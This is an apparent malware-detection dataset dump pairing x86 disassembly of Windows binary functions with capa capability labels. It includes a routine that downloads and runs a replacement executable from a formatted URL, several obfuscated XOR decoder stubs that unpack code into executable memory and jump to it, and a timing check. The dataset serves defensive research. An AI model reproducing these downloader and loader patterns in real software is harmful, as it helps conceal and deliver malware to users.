joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Copy file
Create process on windows
Delete file
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x790
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov dword [ebp - 0x73c], eax
jmp 0x401031
lea eax, [ebp - 0x508]
push 0x200
push 0
push eax
call fcn.00401d90
push 0x200
lea eax, [ebp - 0x308]
push 0
push eax
call fcn.00401d90
add esp, 0x18
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push str.main.exe
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x508]
push 0x4161ac
push eax
call fcn.004011f0
push str.main_new.exe
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x308]
push str._s_s
push eax
call fcn.004011f0
push dword [ebp - 0x73c]
lea eax, [ebp - 0x708]
push str.https:___s_Client_main.exe
push eax
call fcn.004011f0
add esp, 0x2c
lea eax, [ebp - 0x308]
push 0
push 0
push eax
lea eax, [ebp - 0x708]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea eax, [ebp - 0x738]
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.00404a5f
add esp, 8
test eax, eax
jne 0x40110b
lea eax, [ebp - 0x508]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea eax, [ebp - 0x508]
push eax
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x40
lea eax, [ebp - 0x78c]
mov dword [ebp - 0x790], 0x44
push 0
push eax
call fcn.00401d90
add esp, 0xc
lea eax, [ebp - 0x74c]
push eax
lea eax, [ebp - 0x790]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x508]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40119b
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401227
mov esp, ebp
pop ebp
ret 0x10
call fcn.004011b0
int3

Function at 0x401a51
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401a90
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401a90
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401a90
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401a90
cmp dword [ecx + 0x74], 0xe
jbe 0x401a90
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4049a7
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x416d30
push esi
call fcn.00408b60
pop ecx
pop ecx
test eax, eax
jne 0x4049d5
xor al, al
jmp 0x404a52
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.004046e8
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x404a0f
push dword [ebp - 0x210]
call fcn.00407b3c
xor al, al
jmp 0x404a50
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x404a15
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x404a35
push edx
call fcn.004048de
pop ecx
test al, al
je 0x404a00
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x404a43
mov bl, 1
push dword [ebp - 0x210]
call fcn.00407b3c
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401227
leave
ret

Function at 0x40968a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4176a8
push 0x4176a0
push str.FlsAlloc
push 0x1f
call fcn.00409549
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4096be
push dword [ebp + 8]
mov ecx, esi
call dword [0x416148]
call esi
jmp 0x4096c4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x409708
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4176b8
push 0x4176b0
push str.FlsGetValue
push 0x21
call fcn.00409549
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40973f
push dword [ebp + 8]
mov ecx, esi
call dword [0x416148]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x409747
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4176c0
push 0x4176b8
push str.FlsSetValue
push 0x22
call fcn.00409549
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409781
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x416148]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40c515
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40c5b2
push ebx
push esi
call fcn.0040c4de
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040c472
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40c55f
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c5b1
push edi
push eax
call fcn.004086f4
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40c57f
call fcn.004086ba
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c5b0
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040c472
add esp, 0x20
test eax, eax
jne 0x40c59e
push edi
call fcn.004086ba
jmp 0x40c5a6
push ebx
call fcn.004086ba
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40c5b5
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x40c5c6
pop esi
ret
push ebx
push edi
push esi
call fcn.0040c4de
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.004086f4
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40c5ee
push ebx
push esi
push edi
call fcn.00402be0
add esp, 0xc
push 0
call fcn.004086ba
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x40c9be
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040c603

Function at 0x40e068
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x40e0ab
call fcn.00408694
mov dword [eax], 0xf
call fcn.004086a7
mov dword [eax], 0xd
call fcn.004084f7
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401227
leave
ret
test eax, eax
jne 0x40e0b2
inc eax
jmp 0x40e09f
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x40e09d
xor eax, eax
cmp ecx, 1
setne al
jmp 0x40e09f
Function at 0x414fb0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x414fdd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x414fdd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x412281
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x412290
pop dword [ebp - 8]
mov eax, 0xf784f90c
sub eax, 0xf743d67c
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x37c7a
push 0
mov eax, 0xf6d9288b
sub eax, 0xf696985f
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x2fbf64da
sub ecx, 0x2fbf21eb
xor ebx, ebx
add ebx, eax
mov esi, 0x84e59924
add esi, 0x7b5dd4dc
add esi, dword [ebp - 8]
mov edi, 0x101d4f24
add dword [ebp - 4], 0x24d2720d
mov edx, dword [esi]
add dword [ebp - 4], 0x31445eec
xor edx, edi
sub dword [ebp - 4], esi
mov dword [ebx], edx
add dword [ebp - 4], 0xec0ffe67
add ebx, 0xb5ac26f7
add ebx, 0x4a53d90d
add esi, 4
loop 0x4122eb
add eax, 0xfe8f
xor ebx, ebx
add ebx, eax
add eax, 0xf45856f2
add eax, 0xba7a913
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x4018fa
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push ecx
push edx
mov ecx, 0xfe
add ecx, 1
push ecx
push ebx
push 0x405734
call sub.KERNEL32.dll_lstrcpynA
pop edx
pop ecx
push ecx
push edx
push 0xfe
push 0x405734
push 0x405039
call fcn.004010ba
pop edx
pop ecx
push ecx
push edx
push 0xfe
push 0x405734
push 0x405062
call fcn.004010ba
pop edx
pop ecx
push esi
mov esi, dword [0x405c90]
call fcn.004010fc
push ecx
push edx
push 0x405ca0
push dword [0x405730]
call sub.KERNEL32.dll_lstrcpyA
pop edx
pop ecx
pop esi
push ecx
push edx
push 0xfe
push 0x405734
push dword [0x405730]
call fcn.004010ba
pop edx
pop ecx
push ecx
push edx
push 0xfe
push 0x405734
push 0x405077
call fcn.004010ba
pop edx
pop ecx
cmp dword [0x405c90], 0
jne 0x4019c2
push ecx
push edx
mov ecx, 0xfe
add ecx, 1
push ecx
push 0x405038
push 0x405b74
call sub.KERNEL32.dll_lstrcpynA
pop edx
pop ecx
jmp 0x4019e2
push 0
push 0x100
push 0x405b74
push 0
push dword [0x405c90]
push 0
push 0x1200
call sub.KERNEL32.dll_FormatMessageA
push ecx
push edx
push 0xfe
push 0x405734
push 0x405039
call fcn.004010ba
pop edx
pop ecx
push ecx
push edx
push 0xfe
push 0x405734
push 0x405b74
call fcn.004010ba
pop edx
pop ecx
push ecx
push pe_overlay
push str.ERROR:
call fcn.00401000
push 0
push 0x405c88
push eax
push str.ERROR:
push dword [0x405c98]
call sym._CIO_OutHex8_0
pop ecx
mov eax, dword [0x405c88]
push ecx
push pe_overlay
push 0x405734
call fcn.00401000
push 0
push 0x405c88
push eax
push 0x405734
push dword [0x405c98]
call sym._CIO_OutHex8_0
pop ecx
mov eax, dword [0x405c88]
push 0xfe
push 0x405840
call sub.KERNEL32.dll_GetConsoleTitleA
push ecx
push edx
push 0x100
push 4
push 0x405950
push 0x405840
call fcn.00401072
pop edx
pop ecx
push ecx
push edx
mov eax, 0x100
cmp eax, 0x10000
jbe 0x401aaa
mov eax, 0x10000
push eax
push str.CMD
push 0x405950
call fcn.0040101d
pop edx
pop ecx
je 0x401b4a
push ecx
push edx
push 0x100
push 8
push 0x405950
push 0x405840
call fcn.00401072
pop edx
pop ecx
push ecx
push edx
mov eax, 0x100
cmp eax, 0x10000
jbe 0x401aef
mov eax, 0x10000
push eax
push str.Command
push 0x405950
call fcn.0040101d
pop edx
pop ecx
je 0x401b4a
push ecx
push pe_overlay
push str._r_n__press_ENTER:
call fcn.00401000
push 0
push 0x405c88
push eax
push str._r_n__press_ENTER:
push dword [0x405c98]
call sym._CIO_OutHex8_0
pop ecx
mov eax, dword [0x405c88]
push 0
push 0x405c88
push 1
push 0x405734
push dword [0x405c94]
call sub.KERNEL32.dll_ReadFile
mov eax, 0xffffffff
pop ebx
leave
ret 4

Function at 0x4025f6
Capabilities:
Write file on windows

Disassembly:
mov dword [esi], 0
cmp dword [esi], 5
jl 0x402610
mov dword [0x405cfe], 0x42
mov ebx, dword [esi]
lea eax, [ebx + 0x406074]
pushal
inc eax
add byte [edx + 0x406091], ah
pushal
inc eax
add byte [eax + 4], bh
mov byte [0x406092], al
xchg edx, eax
pushal
inc eax
invalid
Function at 0x402756
Capabilities:
Write file on windows

Disassembly:
sub eax, eax
mov byte [0x406091], al
mov eax, 0x406094
mov dword [esi], eax
mov eax, 6
add byte [eax], al
add dword [esi], eax
add esi, 4
movzx edx, byte [0x406091]
sub esi, 4
mov ebx, dword [esi]
mov byte [ebx], dl
mov eax, 5
sub eax, 1
call 0x60d1c988
inc eax
add byte [edi], cl
mov dh, 5
xchg esp, eax
pushal
inc eax
add byte [edx + 0x406090], ah
movzx eax, byte [0x406090]
test eax, eax
je 0x402981

Function at 0x402b05
Capabilities:
Write file on windows

Disassembly:
sub eax, eax
mov byte [0x406090], al
mov dword [esi], 0
movzx eax, byte [0x406090]
mov ebx, dword [esi]
mov byte [ebx + 0x406086], al
mov dword [esi], 1
movzx eax, byte [0x406090]
mov ebx, dword [esi]
mov byte [ebx + 0x406086], al
movzx eax, byte [0x406094]
mov byte [0x406090], al
movzx eax, byte [0x406090]
invalid

Function at 0x402fb5
Capabilities:
Write file on windows

Disassembly:
mov edi, 0x405d10
mov ecx, 0x4080e0
sub ecx, edi
sub ecx, 4
invalid
invalid
Function at 0x2a80bdc5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x2a80bdd4
pop dword [ebp - 0x48]
mov eax, 0x327d9276
add eax, 0xf8032b5e
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x8bd1ed67
sub dword [ebp - 0x58], 0x3d7fa81c
mov dword [ebp - 0x54], 0xcc9504ac
sub dword [ebp - 0x54], 0x9a61b867
mov dword [ebp - 0x50], 0x6922dcc0
add dword [ebp - 0x50], 0xe329676e
mov dword [ebp - 0x4c], 0x87e7d736
add dword [ebp - 0x4c], 0x781828ca
lea eax, [ebp - 0x58]
push eax
mov eax, 0x3122a515
add eax, 0xf9627c2f
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x62850250
add dword [ebp - 0x58], 0x11ed6706
mov dword [ebp - 0x54], 0xbaed1cf6
add dword [ebp - 0x54], 0x867f447f
mov dword [ebp - 0x50], 0x5a7d5f83
add dword [ebp - 0x50], 0x8f20ce9
mov dword [ebp - 0x4c], 0x229b8753
add dword [ebp - 0x4c], 0xdd6478ad
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x69ebc9e1
add eax, 0xc099575b
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x4993b
push 0
call eax
mov ecx, 0x2e1fa45a
sub ecx, 0x2e1f5ee2
xor edx, edx
add edx, eax
mov ebx, 0x907aaaf5
sub ebx, 0x65f2c0f5
add ebx, dword [ebp - 0x48]
mov esi, 0x3c6988f3
xor dword [ebp - 0x14], ebx
mov edi, dword [ebx]
add dword [ebp - 0x24], ecx
sub edi, esi
sub dword [ebp - 0xc], 0x5306a158
mov dword [edx], edi
add dword [ebp - 0xc], eax
add edx, 4
add ebx, 4
loop 0x2a80bef2
add eax, 0x108b3
xor ebx, ebx
add ebx, eax
add eax, 0xbbd8aa50
sub eax, 0xbbd8aa4b
mov ecx, 0x2a800000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x2a80c4de
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
call dword [sym.imp.kernel32.dll_GetTickCount]
mov esi, eax
shr esi, 4
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
sub eax, esi
cmp eax, 0xc
jbe 0x2a80c4ea
pop esi
ret
Function at 0x2a80d252
Capabilities:
Check if file exists

Disassembly:
push 0x64
mov eax, 0x2a84c785
call fcn.2a8015aa
mov ebx, ecx
cmp dword [ebx + 4], 0xffffffff
jne 0x2a80d393
push 0xffffffffffffffff
lea edi, [ebx + 0xc]
push 0x2a853564
mov ecx, edi
call fcn.2a80bdc5
mov eax, dword [ebx]
push 0
push 0xffffffffffffffff
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2a8523cc]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x54]
call fcn.2a801558
and dword [ebp - 4], 0
lea eax, [ebp - 0x54]
push eax
mov ecx, edi
call fcn.2a8492f7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.2a803838
lea ecx, [ebp - 0x4c]
call fcn.2a80385d
push edi
lea ecx, [ebp - 0x3c]
call fcn.2a808c68
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 1
call fcn.2a849b38
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 2
push eax
call fcn.2a84a405
mov esi, eax
mov dword [ebp - 0x18], vtable.RSSecurityUtilsWin::CLocalFreeGuard.0
pop ecx
mov dword [ebp - 0x14], esi
mov ecx, dword [ebx + 8]
xor edi, edi
mov byte [ebp - 4], 3
cmp dword [ecx], edi
jne 0x2a80d358
lea ecx, [ebp - 0x3c]
call fcn.2a849b38
push edi
push 0x40110000
push 3
lea ecx, [ebp - 0x24]
push ecx
push edi
push 0xc0000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
jne 0x2a80d358
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x2a80d3af
cmp eax, 0xe7
jne 0x2a80d399
lea ecx, [ebp - 0x3c]
call fcn.2a849b38
push 0x4e20
push eax
call dword [sym.imp.kernel32.dll_WaitNamedPipeA]
test eax, eax
je 0x2a80d3be
mov eax, dword [ebx + 8]
cmp dword [eax], edi
je 0x2a80d2fe
cmp dword [ebx + 4], 0xffffffff
je 0x2a80d374
push edi
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 2
push eax
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_SetNamedPipeHandleState]
mov byte [ebp - 4], 6
test esi, esi
je 0x2a80d383
push esi
call dword [sym.imp.kernel32.dll_LocalFree]
lea ecx, [ebp - 0x2c]
call fcn.2a803838
lea ecx, [ebp - 0x34]
call fcn.2a80385d
call fcn.2a80187a
ret
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel
lea ecx, [ebp - 0x54]
call fcn.2a801558
mov byte [ebp - 4], 4
jmp 0x2a80d3d2
lea ecx, [ebp - 0x70]
call fcn.2a80cfd1
push 0x2a85afe8
jmp 0x2a80d3e3
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel__all_pipe_instances_are_busy
lea ecx, [ebp - 0x54]
call fcn.2a801558
mov byte [ebp - 4], 5
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x70]
call fcn.2a80bdc5
push 0x2a85b040
lea eax, [ebp - 0x70]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x10048477
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov esi, eax
pop ecx
test esi, esi
je 0x100484ca
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
push 0xa
and dword [eax], 0
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
add esp, 0xc
mov esi, eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [eax], 0
jne 0x100484c1
mov ecx, dword [ebp - 4]
cmp byte [ecx], 0
jne 0x100484c1
mov eax, esi
jmp 0x100484cd
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
and dword [eax], 0
mov eax, dword [ebp + 0xc]
pop esi
leave
ret

Function at 0x100490dd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x100490ec
pop dword [ebp - 0x3c]
mov eax, 0x8d3504cf
sub eax, 0x7d3073e3
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x8a6a7d3
sub dword [ebp - 0x4c], 0xba546288
mov dword [ebp - 0x48], 0x8534580d
sub dword [ebp - 0x48], 0x53010bc8
mov dword [ebp - 0x44], 0x21f21142
sub dword [ebp - 0x44], 0xd5a5cd14
mov dword [ebp - 0x40], 0x465acb18
sub dword [ebp - 0x40], 0x465acb18
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x243c34a6
sub dword [ebp - 0x4c], 0xafc9cb50
mov dword [ebp - 0x48], 0x36f8c333
sub dword [ebp - 0x48], 0xf58c61be
mov dword [ebp - 0x44], 0xf56aada6
sub dword [ebp - 0x44], 0x91fb413a
mov dword [ebp - 0x40], 0xb1863596
add dword [ebp - 0x40], 0x4e79ca6a
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x3b347bff
add eax, 0xd4d18415
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x54a9f
push 0
call eax
mov ecx, 0x63aabcae
add ecx, 0x9c5586b6
xor ebx, ebx
add ebx, eax
mov edx, 0x1008bc00
add edx, dword [ebp - 0x3c]
mov edi, 0xfba4a7bf
sub edi, 0xb8cbd07f
xor dword [ebp - 0x30], 0xa75a6a03
mov esi, dword [edx]
sub dword [ebp - 0x14], 0x51788032
add esi, edi
add dword [ebp - 0x10], edx
mov dword [ebx], esi
sub dword [ebp - 0x10], edx
add ebx, 0x813d65ba
add ebx, 0x7ec29a4a
add edx, 0xa52dc085
sub edx, 0xa52dc081
loop 0x10049205
add eax, 0x4aadedb4
sub eax, 0x4aaced51
xor ebx, ebx
add ebx, eax
add eax, 0xc2b692ea
sub eax, 0xc2b692e5
mov ecx, 0x3c583dd2
sub ecx, 0x2c583dd2
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x40334df3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x40331b9c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
push edi
xor edi, edi
push 2
push edi
push eax
mov dword [ebp - 0x410], edi
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x418], edi
mov dword [ebp - 0x408], edi
call fcn.40333b2d
mov dword [ebp - 0x40c], eax
cmp eax, edi
jne 0x40334e4b
call fcn.40332e92
mov esi, eax
jmp 0x40334f2c
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, edi
jne 0x40334e64
call fcn.40332e92
jmp 0x40334f1e
push esi
push dword [ebp - 0x40c]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
cmp ebx, edi
je 0x40334e5a
push esi
push dword [ebp - 0x40c]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
cmp eax, esi
jae 0x40334ec9
lea eax, [ebp - 0x404]
cmp dword [ebp - 0x408], eax
je 0x40334ea6
lea ecx, [ebp - 0x408]
call fcn.403335e1
mov esi, 0x8007000e
lea ecx, [ebp - 0x410]
call fcn.40333511
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.40337a78
leave
ret 0x10
push eax
lea ecx, [ebp - 0x408]
call fcn.4033404e
cmp dword [ebp - 0x408], edi
jne 0x40334ee4
mov esi, 0x8007000e
jmp 0x40334f20
push esi
push dword [ebp - 0x408]
push esi
push ebx
push edi
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, edi
je 0x40334e5a
mov edx, dword [ebp - 0x408]
push dword [ebp + 0x14]
xor ecx, ecx
mov word [edx + eax*2], cx
push dword [ebp - 0x408]
lea ecx, [ebp - 0x418]
call fcn.40334c43
mov esi, eax
push dword [ebp - 0x40c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x404]
cmp dword [ebp - 0x408], eax
je 0x40334eab
lea ecx, [ebp - 0x408]
call fcn.403335e1
jmp 0x40334eab
Function at 0x40335cdf
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x40335c7e
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x40335c9c
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x40335cfa
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x40335ce1
or byte [eax + ecx], 1
or byte [ecx], al
cmp dword [ebp + 8], ebx
je 0x40335cea
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x40335cf4
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x40335cd6
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x40335c60
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x40335d47
dec eax
je 0x40335d3e
sub eax, 3
je 0x40335d35
mov dword [ebp - 4], 0x40
jmp 0x40335d64
mov dword [ebp - 4], 4
jmp 0x40335d4a
mov dword [ebp - 4], 0x20
jmp 0x40335d4a
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x40335d96
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x40335d16
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.403355a7
mov bh, 0x33
and edi, dword [esi - 1]
jne 0x40335da1
push 1
push esi
call edi
mov eax, esi
jmp 0x40335da2
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
rcr byte [edi + 0x5e], 0x5b
pop edi
pop esi
pop ebx
leave
ret